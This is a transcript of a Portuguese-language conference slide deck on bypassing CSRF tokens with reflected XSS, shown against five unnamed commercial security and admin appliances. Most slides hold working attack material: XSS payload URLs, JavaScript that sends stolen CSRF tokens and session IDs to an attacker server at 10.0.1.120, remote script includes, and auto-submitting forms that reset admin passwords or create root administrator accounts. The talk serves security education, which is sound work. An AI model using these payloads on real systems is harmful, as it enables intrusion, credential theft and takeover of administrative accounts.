Top Banner
Bypass de Token CSRF na pra2ca/Exploração de ByPasss de CSRF William Costa
51

Bypass de token csrf na pratica secure brasil

Jul 13, 2015

Download

Technology

William Costa
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  na  pra2ca/Exploração  de  ByPasss  de  CSRF  

William  Costa  

Page 2: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

Consultor  em  Segurança  da  Informação.  CISSP,  C|EH,  E|CSA,  CPT,  CEPT,  LPI.  

Page 3: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  Vulnerabilidade  CSRF.   • Cross-­‐site  request  forgery  é  o  envio  de  comandos  (dados)  pelo  usuário  a  um  site  que  confia  em  seu  browser  (usuário  já  auten2cado)  sem  o  consen2mento/conhecimento    

     do  mesmo.      • Normalmente  ocorre  com  ajuda  da    engenharia  social,  por  meio  de  envio    de  links  e/ou  phishings  .  

Page 4: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

Senta  que  lá  vem  a  Historia  do  CSRF.  

• O  Primeiro  CVE  disponível  no  mitre  sobre  CSRF  (CVE-­‐2002-­‐1648)  é  de  uma  vulnerabilidade  de  2002  no  webmail  SquirrelMail.    • O  Mitre  conta  com  921  CVEs  publicados  deste  2po  de  falha.          

Page 5: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  Como  ocorre  um  ataque  de  CSRF.  

•  A  vi2ma  realiza  o  logon  na  aplicação  vulnerável,  com  a  sessão  valida  realiza  o  acesso  a  um  site  controlado  pelo  atacante.    

Page 6: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

   A  OWASP  recomenda  a  u2lização  de  Tokens  também  conhecidos  como  Token  CSRF  para  prefinir  o  ataque  de  CSRF  normalmente  são  u2lizados  para  validação  dos  dados  enviados  via  POST(podem  ser  enviados  via  GET  também),  prevenindo  assim,  um  atacante  de  enviar  via  browser  da  vi2ma  informações  sem  o  conhecimento  prévio  do  token.  Impossibilitando  o  ataque  CSRF.  

   

Page 7: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

Exemplo  de  um  Token  CSRF    

Page 8: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  Como  funciona  o  Token  CSRF.  

Page 9: Bypass de token csrf na pratica secure brasil

Cross-­‐Site  ScripBng  (XSS) • Cross-­‐Site  Scrip2ng  é  composto  por  envio  de  scripts  maliciosos  em  uma  requisição  de  um  usuário  ao  site  legi2mo,  

dessa  forma  o  script  será  executado  pelo  browser  da  vi2ma.    

Bypass  de  Token  CSRF  

Page 10: Bypass de token csrf na pratica secure brasil

TOP  10  OWASP •  OWASP  Top  10  –  2013      •  A1  –  Injec2on      •  A2  –  Broken  Authen2ca2on  and  Session  Management      •  A3  –  Cross-­‐Site  Scrip2ng  (XSS)      •  A4  –  Insecure  Direct  Object  References      •  A5  –  Security  Misconfigura2on      •  A6  –  Sensi2ve  Data  Exposure      •  A7  –  Missing  Func2on  Level  Access  Control      •  A8  –  Cross-­‐Site  Request  Forgery  (CSRF)      •  A9  –  Using  Known  Vulnerable  Components      •  A10  –  Unvalidated  Redirects  and  Forwards          

Bypass  de  Token  CSRF  

Page 11: Bypass de token csrf na pratica secure brasil

Bypass  do  CSRF  na  práBca.  

Nos  próximos  slides  irei  apresentar  5  formas  de  by-­‐pass  de  implementações  diferentes  de  Tokens  CSRFs.  Acredito  que  o  aprendizado  pra2co  é  mais  didá2co,  então  veremos  5  falhas  em  cinco  produtos  de  mercado  que  u2lizam  alguma  implementação  do  Token  CSRF.  J      

Bypass  de  Token  CSRF  

Page 12: Bypass de token csrf na pratica secure brasil

Falha  1#   Alvo  :  • Gerenciador  de  Sistemas  Resultado:    Um  Reflected  XSS  no  parâmetro  “ID”  na  pagina  de  configuração  de  usuários  administra2vos.    

Bypass  de  Token  CSRF  

Page 13: Bypass de token csrf na pratica secure brasil

XSS  no  parâmetro  ID    .

• hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</script>&&PAGE=2    

Bypass  de  Token  CSRF  

Page 14: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 15: Bypass de token csrf na pratica secure brasil

A  primeira  coisa  é  localizar  um  XSS. • Neste  aplica2vo  a  falha  se  encontra  no  ID  (ID=10)  de  iden2ficação  do  usuário  administrador.    • Não  ocorre  o  tratamento  dos  dados  enviados  nesta  variável,  o  conteúdo  da  variável  é  inserida  em  um  link  de  href  da  tag  <a>.    •  <a  href="history_log.php?HISTORY_TYPE=OBJECT&TYPE_NAME=USER&TYPE_ID=10"></a><script>alert(2);</script>&NAME=admin&SHOW_ALL=1"  onclick='logPopup(this);  return  false;'>Show  All  History</a>  

Bypass  de  Token  CSRF  

Page 16: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente. • Agora  que  já  temos  o  nosso  “XSS”,  podemos  analisar  o  ambiente  e  verificar  o  que  é    possível  fazer  com  este.    • Analisando  a  pagina    onde  temos  o  nosso  XSS,  vemos  que  é  possível  alterar  a  senha  do  usuário  sem  a  necessidade  da  senha  atual  J.  

•  Já  temos  o  Nosso  Alvo.  

Bypass  de  Token  CSRF  

Page 17: Bypass de token csrf na pratica secure brasil

Criando  nosso  Exploit. • Nosso  exploit  será  composto  por  um  javascript,  vamos  u2lizar  o  getElementsByName()  para  localizar  o  input  correspondente  ao  campo  Password  e  Confirm  Password  e  setar  uma  senha.  

 

document.getElementsByName('FARRAY[PASSWORD]')[0].value  =  "123456”;  document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value  =  "123456”;    

Porém  a  nossa  injeção  de  script  ocorre  no  inicio  do  código  HTML,  por  tanto  ainda  não  existem  esses  campos.  A  solução  é  adicionar  nosso  código  a  uma  função  e  setar  um  2meout.      func2on  append(csrf)  {  

   document.getElementsByName('FARRAY[PASSWORD]')[0].value  =  "123456";      document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value  =  "123456";      document.UserForm.submit();  

               }    setTimeout("append(\"2meout\")",  1000);  

Bypass  de  Token  CSRF  

Page 18: Bypass de token csrf na pratica secure brasil

Resultado. Alterado  a  Senha  do  Usuário  Admin    J      

Bypass  de  Token  CSRF  

Page 19: Bypass de token csrf na pratica secure brasil

Falha  2#   Alvo:    • Firewall  UTM    Resultado:    • Um  Reflected  XSS  no  campo  “mkey  ”  na  pagina  de  configuração  dos  schedules  das  regras.    

Bypass  de  Token  CSRF  

Page 20: Bypass de token csrf na pratica secure brasil

XSS  no  parâmetro  mkey.

• hqp://IP/firewall/schedule/recurrdlg?mkey=a"><script>alert("xss");</script>  

Bypass  de  Token  CSRF  

Page 21: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 22: Bypass de token csrf na pratica secure brasil

Localizando  a  falha.  

• O  XSS  neste  caso  é  inserido  no  parâmetro  “mkey”  que  é  a  variável  do  nome  do  objeto  de  schedule.    • Mais  uma  vez  a  variável  não  foi  tratada  e  a  mesma  é  inserida  em  um  tag  <input>  do  html.    •  <input  type=text  name=name  id=name  size="50"  maxlength="31"  onfocus="this.select()"  value="a"><script>alert("XSS");</script>">  

Bypass  de  Token  CSRF  

Page 23: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente.     • Na  pagina  onde  ocorre  a  inserção  do  script,  não  contém  informações  sensíveis,  mas,  o  Token  CSRF  é  guardado  em  um  COOKIE.  J    •   Inserindo  um  simples  <script>alert(document.cookie)  ;<script>,  temos  a  seguinte  saída          

         • Alvo  criação  de  um  novo  Usuário    

Bypass  de  Token  CSRF  

Page 24: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit. •  Iremos  criar  um  script  para  envio  do  Token  CSRF  para  nosso  servidor,  depois  enviar  o  usuário  a  nossa  página  para  o  envio  dos  dados  de  criação  do  usuário  administrador  (CSRF).    

 var  o_cookie_array  =  o_cookie.split(";");  var  a_data  =  unescape(o_cookie_array[1]);  var  a_data_array  =  a_data.split  ("="  );  var  token  =  unescape(a_data_array[1]);    window.loca=on.replace("h?ps://10.0.1.120/xss/cookie.php?cookie="  +  encodeURIComponent(token));  

Bypass  de  Token  CSRF  

Page 25: Bypass de token csrf na pratica secure brasil

•  Esse  código  é  responsável  pelo  envio  do  ataque  CSRF  quando  o  usuário  acessa  a  página.    <body  onload="CSRF.submit();”>  <?php  $lines  =  file  ('cookies.txt');  dados  =  explode('"',$lines[1]);  $matrizDeDados[]  =  $dados;  foreach  ($matrizDeDados  as  $linhas){  $token  =  $linhas[1];  }  ?>  <form  id="CSRF"  ac=on="h?p://ip_fw/system/config/adminadd"  method="post"  name="CSRF">  <input  name="name"  value="user.exploit">  </input>  <input  name="admin_type"  value="1">  </input>  <input  name="newpasswd1"  value="123456">  </input>  <input  name="newpasswd2"  value="123456">  </input>  <input  name="guest_grp"  value="">  </input>  <input  name="CSRF_TOKEN"  value="<?php  echo  $token;?>">  </input>  </form>  

Criando  o  Exploit.

Bypass  de  Token  CSRF  

Page 26: Bypass de token csrf na pratica secure brasil

Resultado. Criação  de  um  novo  usuário  de  Administração.    J      

Bypass  de  Token  CSRF  

Page 27: Bypass de token csrf na pratica secure brasil

Falha  3#   Alvo:    • Web  Filter    Resultado:    • Um  Reflected  XSS  no  campo  “date_range  ”  na  pagina  de  Repor2ngs  por  usuários.    

Bypass  de  Token  CSRF  

Page 28: Bypass de token csrf na pratica secure brasil

XSS  no  parâmetro  date_range.

• hqps://ip_webfilter/monitor/users?printable=False&date_range=a"><script>alert(“XSS”)</script>  

Bypass  de  Token  CSRF  

Page 29: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 30: Bypass de token csrf na pratica secure brasil

Localizando  a  falha.   • O  XSS  neste  caso  é  inserido  no  parâmetro  “date_range”  u2lizado  para  filtro  de  data.    • Mais  uma  vez  a  variável  não  foi  tratada  e  a  mesma  é  inserida  em  uma  tag  <input>  do  html.    •  <input  type="hidden"  id="current_date_range”  value="aaaaa"><script>alert(2)</script>">  

Bypass  de  Token  CSRF  

Page 31: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente.     • Analisando  o  conteúdo  do  código  devolvido  ao  usuário  encontramos  o  Token  CSRF  em  uma  função  do  javascript  .  J  

• Alvo:  Para  a  troca  de  senha  do    Usuário  admin,  não  é  necessário  saber  a  senha  anterior  J    

Bypass  de  Token  CSRF  

Page 32: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit.

•  Iniciaremos  com  a  criação  do  Exploit  para  localização  desse  script  e  a  remoção  do  seu  conteúdo  e  envio  ao  nosso  servidor.  Como  o  nosso  script  é  inserido  antes  da  criação  da  função  que  contém  o  Token  iremos  adicionar  o  nosso  script  um  2meout.      

func=on  append(csrf)  {    csrf  =  document.getElementsByTagName('script').item(20).textContent      var  o_cookie  =  csrf;      var  o_cookie_array  =  o_cookie.split("=");      var  a_data  =  unescape(o_cookie_array[2]);      var  a_data_array  =  a_data.split  ("&"  );      var  token  =  unescape(a_data_array[0]);  

   window.loca=on.replace("h?ps://ip_server/cookie.php?cookie="  +  encodeURIComponent(token))    }  

setTimeout("append(\"=meout\")",  2000);      

Bypass  de  Token  CSRF  

Page 33: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit. <?php    $lines  =  file  ('cookies.txt');    $matrizDeDados[]  =  $lines;    //  recolhe  valores  da  linha    foreach  ($matrizDeDados  as  $linhas){    $token  =  $linhas[1];  }  ?>  

<body  onload="CSRF.submit();">  <form  id="CSRF"  ac=on="h?ps://IP_applicacao/system_administra=on/access/users"  method="post"  name="CSRF">  <input  name="screen"  value="system_administra=on.access.users">  </input>  <input  name="isEdit"  value="true">  </input>  <input  name="userName"  value="admin">  </input>  <input  name="group"  value="admin">  </input>  <input  name="passwd"  value="123456789">  </input>  <input  name="retypePassword"  value="123456789">  </input>  <input  name="CSRFKey"  value="<?php  echo  $token;?>">  </input>  </form>    

Bypass  de  Token  CSRF  

Page 34: Bypass de token csrf na pratica secure brasil

Resultado.

Alteração  da  senha  do  usuário  Admin.  J      

Bypass  de  Token  CSRF  

Page 35: Bypass de token csrf na pratica secure brasil

Falha  4#   Alvo:    • Messaging  Security  (an2-­‐spam)    Resultado:    • Um  Reflected  XSS  no  campo  “new  ”  na  pagina  de  criação  de  usuários  administra2vos.    

Bypass  de  Token  CSRF  

Page 36: Bypass de token csrf na pratica secure brasil

XSS  no  parâmetro  new.

• hqps://ip_an2spam/admin?module=SysUser&method=user&new=1><script  src=//10.0.1.120/e.js  

Bypass  de  Token  CSRF  

Page 37: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 38: Bypass de token csrf na pratica secure brasil

Localizando  a  falha.  

• O  XSS  neste  caso  é  inserido  no  parâmetro  “new”  u2lizado  para  informar  a  criação  de  um  novo  usuário  administrador  na  aplicação.    • Mais  uma  vez  a  variável  não  foi  tratada  e  a  mesma  é  inserida  em  um  tag  <input>  do  html.    •  <input  type=hidden  name=new  value=1><script  src=//10.0.1.120/e.js>  

Bypass  de  Token  CSRF  

Page 39: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente.     • Analisando  o  conteúdo  do  código  devolvido  ao  usuário  vemos  que  o  nosso  script  é  inserido  dentro  de  uma  TAG  input  .  J  

       

• Alvo:  Já  estamos  na  página  de  criação  de  novos  usuários  administradores,  por  que  não  criar  um  para  nós?!.  

 

Bypass  de  Token  CSRF  

Page 40: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit.

•  Esse  exploit  tem  o  intuito  de  preencher  os  campos  input  do  usuário,  senha  e  role,  porém  quando  inserimos  o  XSS  quebramos  a  tag  input  do  usuário.  Vamos  corrigir  isso  com  um  simples  document.write.  

//Create  tag  input  with  Id  of  user  that  was  break  by  XSS  document.write("<input    id='id'  name='id'  value='user.exploit'>");  

//Set  values  in  input  with  password  and  role  func=on  append(csrf)  {    document.getElementsByName('user_newpassword_1')[0].value  =  "admin@123";    document.getElementsByName('user_newpassword_2')[0].value  =  "admin@123";    document.getElementsByName('selectedrole')[0].value  =  "root";    document.main_form.submit();  

       }  setTimeout("append(\"=meout\")",  1000);  

Bypass  de  Token  CSRF  

Page 41: Bypass de token csrf na pratica secure brasil

Resultado.

Criação  de  um  novo  usuário  de  Administração.    J      

Bypass  de  Token  CSRF  

Page 42: Bypass de token csrf na pratica secure brasil

Falha  5#   Alvo:    • WAF  (Web  Applica2on  Firewall)    Resultado:    • Um  Reflected  XSS  da  pagina  de  Regex  pré  definidos  em  um  script  de  criação  de  cookie  

Bypass  de  Token  CSRF  

Page 43: Bypass de token csrf na pratica secure brasil

XSS  na  URL.

• hqps://waf/prot/paqern/list_url_rule/aaa">}//-­‐-­‐></script><script  src=hqps://10.0.1.120/exploit.js></script>  

Bypass  de  Token  CSRF  

Page 44: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 45: Bypass de token csrf na pratica secure brasil

Localizando  a  falha.   • O  XSS  neste  caso  é  inserido  na  URL  que  é  u2lizada  para  criação  de  um  cookie  por  um  javascript  • A  URL  não  foi  tratada  e  a  mesma  é  inserida  em  um  javascript  <script>  da  aplicação.    

setCookie("/prot/pa?ern/list_data_type/aaa">}//-­‐-­‐></script><script  src=h?ps://10.0.1.120/teste.js></script>"  

Bypass  de  Token  CSRF  

Page 46: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente.     • Analisando  o  código  devolvido  ao  usuário  encontramos  o  Token  CSRF  com  o  nome  de  Session_ID,  já  temos  o  nosso  token.    

 

Alvo:  Criação  de  um  Novo  usuário    

Bypass  de  Token  CSRF  

Page 47: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit.

•  Esse  exploit  envia  ao  servidor  o  Session_ID  que  vai  ser  usado  para  criação  de  um  usuário  administrador.  J    

window.loca2on.replace("hqps://10.0.1.120/cookie.php?cookie="  +  encodeURIComponent(session_id));  

 • Não  precisamos  nem  nós  preocuparmos  em  como  obter  o  token  ele  é  uma  variável  universal.  

Bypass  de  Token  CSRF  

Page 48: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

Criando  o  Exploit.

Page 49: Bypass de token csrf na pratica secure brasil

Criação  de  um  novo  usuário  de  Administração.    J      

Bypass  de  Token  CSRF  

Resultado.

Page 50: Bypass de token csrf na pratica secure brasil

Conclusão. • Se  temos  um  XSS  na  aplicação  é  fácil  burlar  as  proteções  de  Flag  HqpOnly  do  cookie  ou  Token  CSRF.  

 

Bypass  de  Token  CSRF  

Page 51: Bypass de token csrf na pratica secure brasil

<script>alert(String(/Perguntas?/).substr(1,10)  );  </script>

twifer.com/@willcosta

Bypass  de  Token  CSRF